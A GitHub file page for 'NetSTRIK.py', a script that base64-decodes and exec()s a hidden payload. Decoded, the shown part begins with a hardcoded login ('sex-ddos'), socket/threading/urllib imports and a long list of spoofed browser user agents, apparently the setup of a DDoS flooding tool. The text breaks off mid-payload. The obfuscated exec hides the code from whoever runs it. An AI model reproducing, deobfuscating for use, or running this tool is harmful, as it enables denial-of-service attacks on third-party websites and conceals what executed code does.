-
Notifications
You must be signed in to change notification settings - Fork 14
/
NetSTRIK.py
2 lines (2 loc) · 62 KB
/
NetSTRIK.py
1
2
import base64
exec(base64.b64decode("Y29ycmVjdF9pZCA9ICJzZXgtZGRvcyIKY29ycmVjdF9wYXNzd29yZCA9ICJmdWNrLWxvdmUiCgp3aGlsZSBUcnVlOgogICAgaW5wdXRfaWQgPSBpbnB1dCgiXDAzM1sxOzM0OzQwbSBFbnRlciB5b3VyIElEOiAiKQogICAgaW5wdXRfcGFzc3dvcmQgPSBpbnB1dCgiXDAzM1sxOzM0OzQwbSBFbnRlciB5b3VyIHBhc3N3b3JkOiAiKQoKICAgIGlmIGlucHV0X2lkID09IGNvcnJlY3RfaWQgYW5kIGlucHV0X3Bhc3N3b3JkID09IGNvcnJlY3RfcGFzc3dvcmQ6CiAgICAgICAgcHJpbnQoIlwwMzNbOTJtIExvZ2luIHN1Y2Nlc3NmdWwhIikKCiAgICAgICAgZnJvbSBjb2xvcmFtYSBpbXBvcnQgRm9yZSwgQmFjaywgU3R5bGUKICAgICAgICBmcm9tIHF1ZXVlIGltcG9ydCBRdWV1ZQogICAgICAgIGZyb20gb3B0cGFyc2UgaW1wb3J0IE9wdGlvblBhcnNlcgogICAgICAgIGltcG9ydCB0aW1lLCBzeXMsIHNvY2tldCwgdGhyZWFkaW5nLCBsb2dnaW5nLCB1cmxsaWIucmVxdWVzdCwgcmFuZG9tCgoKICAgICAgICBkZWYgdXNlcl9hZ2VudCgpOgogICAgICAgICAgICBnbG9iYWwgdWFnZW50CiAgICAgICAgICAgIHVhZ2VudCA9IFtdCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjApIE9wZXJhIDEyLjE0IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVWJ1bnR1OyBMaW51eCBpNjg2OyBydjoyNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzI2LjAiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCB4ODZfNjQ7IGVuLVVTOyBydjoxLjkuMS4zKSBHZWNrby8yMDA5MDkxMyBGaXJlZm94LzMuNS4zIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuOyBydjoxLjkuMS4zKSBHZWNrby8yMDA5MDgyNCBGaXJlZm94LzMuNS4zICguTkVUIENMUiAzLjUuMzA3MjkpIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjIpIEFwcGxlV2ViS2l0LzUzNS43IChLSFRNTCwgbGlrZSBHZWNrbykgQ29tb2RvX0RyYWdvbi8xNi4xLjEuMCBDaHJvbWUvMTYuMC45MTIuNjMgU2FmYXJpLzUzNS43IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjI7IGVuLVVTOyBydjoxLjkuMS4zKSBHZWNrby8yMDA5MDgyNCBGaXJlZm94LzMuNS4zICguTkVUIENMUiAzLjUuMzA3MjkpIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBlbi1VUzsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTggRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgVTsgSW50ZWwgTWFjIE9TIFggMTAuNTsgZW4tVVM7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEgRmlyZVBIUC8wLjMiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IGVzLUFSOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBJbnRlbCBNYWMgT1MgWCAxMC41OyBlcy1FUzsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgVTsgSW50ZWwgTWFjIE9TIFggMTAuNTsgcnU7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjA7IGphOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIEdUQjUiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZGU7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEgKC5ORVQgQ0xSIDMuNS4zMDcyOSkgRmlyZVBIUC8wLjMiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZGU7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEgRmlyZVBIUC8wLjMiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggeDg2XzY0OyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNiBMaW51eCBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggeDg2XzY0OyBlbi1VUzsgcnY6MS45LjIuMykgR2Vja28vMjAxMDA1MjQgRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggeDg2XzY0OyBlbi1VUzsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTYgTGludXggTWludC83IChHbG9yaWEpIEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCB4ODZfNjQ7IGVuLVVTOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNiBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCB4ODZfNjQ7IGVuLVVTOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNCBTVVNFLzMuNS4xLTEuMSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggeDg2OyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNiBMaW51eCBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4Njsgbmw7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBubC1OTDsgcnY6MS45LjAuMTkpIEdlY2tvLzIwMDkwNzIwIEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IGk2ODY7IGVuLVVTOyBydjoxLjkuMS4ycHJlKSBHZWNrby8yMDA5MDcyOSBVYnVudHUvOS4wNCAoamF1bnR5KSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4NjsgZW4tVVM7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEgR1RCNSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChYMTE7IFU7IExpbnV4IGk2ODY7IGRlOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcyMiBHZW50b28gRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgVTsgTGludXggaTY4NjsgZGU7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE0IFNVU0UvMy41LjEtMS4xIEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuLVVTOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxOCBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBkZTsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4wOyB0cjsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSAoLk5FVCBDTFIgMy41LjMwNzI5KSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4wOyBzdi1TRTsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSAoLk5FVCBDTFIgMy41LjMwNzI5KSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMDsgamE7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMDsgZW4tR0I7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEgR1RCNSAoLk5FVCBDTFIgNC4wLjIwNTA2KSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4wOyBlbi1HQjsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSBHVEI1ICguTkVUIENMUiAzLjUuMzA3MjkpIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjA7IGRlOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIEdUQjUgKC5ORVQgQ0xSIDMuNS4zMDcyOSkiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjA7IGNhOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjI7IHpoLUNOOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xICguTkVUIENMUiAzLjUuMzA3MjkpIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4yOyB0cjsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoIk1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMjsgaHU7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzE1IEZpcmVmb3gvMy41LjEiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKCJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IHVrOyBydjoxLjkuMS4xKSBHZWNrby8yMDA5MDcxNSBGaXJlZm94LzMuNS4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBzdi1TRTsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBzcjsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSAoLk5FVCBDTFIgMy41LjMwNzI5KSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBydTsgcnY6MS45LjEuMSkgR2Vja28vMjAwOTA3MTUgRmlyZWZveC8zLjUuMSAoLk5FVCBDTFIgMy41LjMwNzI5KSBGaXJlUEhQLzAuMyIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgVWJ1bnR1OyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81NS4wLjI5MTkuODMgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfOF8zKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTQuMC4yODY2LjcxIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggaTY4NiBvbiB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS81My4wLjI4MjAuNTkgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfOV8yKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNTIuMC4yNzYyLjczIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzhfNCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ5LjAuMjY1Ni4xOCBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MIGxpa2UgR2Vja28pIENocm9tZS80NC4wLjI0MDMuMTU1IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQxLjAuMjIyOC4wIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80MS4wLjIyMjcuMSBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjQ7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI1LjAgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI0LjMgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQwLjAuMjIxNC45MyBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xMF8xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMzcuMC4yMDYyLjEyNCBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMzYuMC4xOTg1LjY3IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzM2LjAuMTk4NS42NyBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBPcGVuQlNEIGkzODYpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8zNi4wLjE5ODUuMTI1IFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzlfMikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzM2LjAuMTk0NC4wIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzMxLjAuMTY1MC4xNiBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMzEuMC4xNjIzLjAgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzMwLjAuMTU5OS4xNyBTYWZhcmkvNTM3LjM2IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjkuMC4xNTQ3LjYyIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChYMTE7IENyT1MgaTY4NiA0MzE5Ljc0LjApIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yOS4wLjE1NDcuNTcgU2FmYXJpLzUzNy4zNiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzI5LjAuMTU0Ny4yIFNhZmFyaS81MzcuMzYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMikgQXBwbGVXZWJLaXQvNTM3LjQgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjIuMC4xMjI5Ljk0IFNhZmFyaS81MzcuNCIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfNl8wKSBBcHBsZVdlYktpdC81MzcuNCAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yMi4wLjEyMjkuNzkgU2FmYXJpLzUzNy40IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNy4yIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzIyLjAuMTIxNi4wIFNhZmFyaS81MzcuMiIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NCkgQXBwbGVXZWJLaXQvNTM3LjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjIuMC4xMjA3LjEgU2FmYXJpLzUzNy4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBDck9TIGk2ODYgMjI2OC4xMTEuMCkgQXBwbGVXZWJLaXQvNTM2LjExIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzIwLjAuMTEzMi41NyBTYWZhcmkvNTM2LjExIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0KSBBcHBsZVdlYktpdC81MzYuNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yMC4wLjEwOTIuMCBTYWZhcmkvNTM2LjYiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNy4xIChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE5Ljc3LjM0LjUgU2FmYXJpLzUzNy4xIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNi41IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE5LjAuMTA4NC45IFNhZmFyaS81MzYuNSIpCiAgICAgICAgICAgIHVhZ2VudC5hcHBlbmQoCiAgICAgICAgICAgICAgICAiTW96aWxsYS81LjAgKFgxMTsgRnJlZUJTRCBhbWQ2NCkgQXBwbGVXZWJLaXQvNTM2LjUgKEtIVE1MIGxpa2UgR2Vja28pIENocm9tZS8xOS4wLjEwODQuNTYgU2FmYXJpLzFFQTY5IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjApIEFwcGxlV2ViS2l0LzUzNi41IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE5LjAuMTA4NC4zNiBTYWZhcmkvNTM2LjUiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NCkgQXBwbGVXZWJLaXQvNTM1LjI0IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzE5LjAuMTA1NS4xIFNhZmFyaS81MzUuMjQiKQogICAgICAgICAgICB1YWdlbnQuYXBwZW5kKAogICAgICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQpIEFwcGxlV2ViS2l0LzUzNS4yNCAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xOS4wLjEwNTUuMSBTYWZhcmkvNTM1LjI0IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF83XzIpIEFwcGxlV2ViS2l0LzUzNS4yNCAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xOS4wLjEwNTUuMSBTYWZhcmkvNTM1LjI0IikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF83XzMpIEFwcGxlV2ViS2l0LzUzNS4yMiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xOS4wLjEwNDcuMCBTYWZhcmkvNTM1LjIyIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBMaW51eCB4ODZfNjQpIEFwcGxlV2ViS2l0LzUzNS4yMSAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xOS4wLjEwNDIuMCBTYWZhcmkvNTM1LjIxIikKICAgICAgICAgICAgdWFnZW50LmFwcGVuZCgKICAgICAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBMaW51eCBpNjg2KSBBcHBsZVdlYktpdC81MzUuMjEgKEtIVE1MLCBsaWtlIEd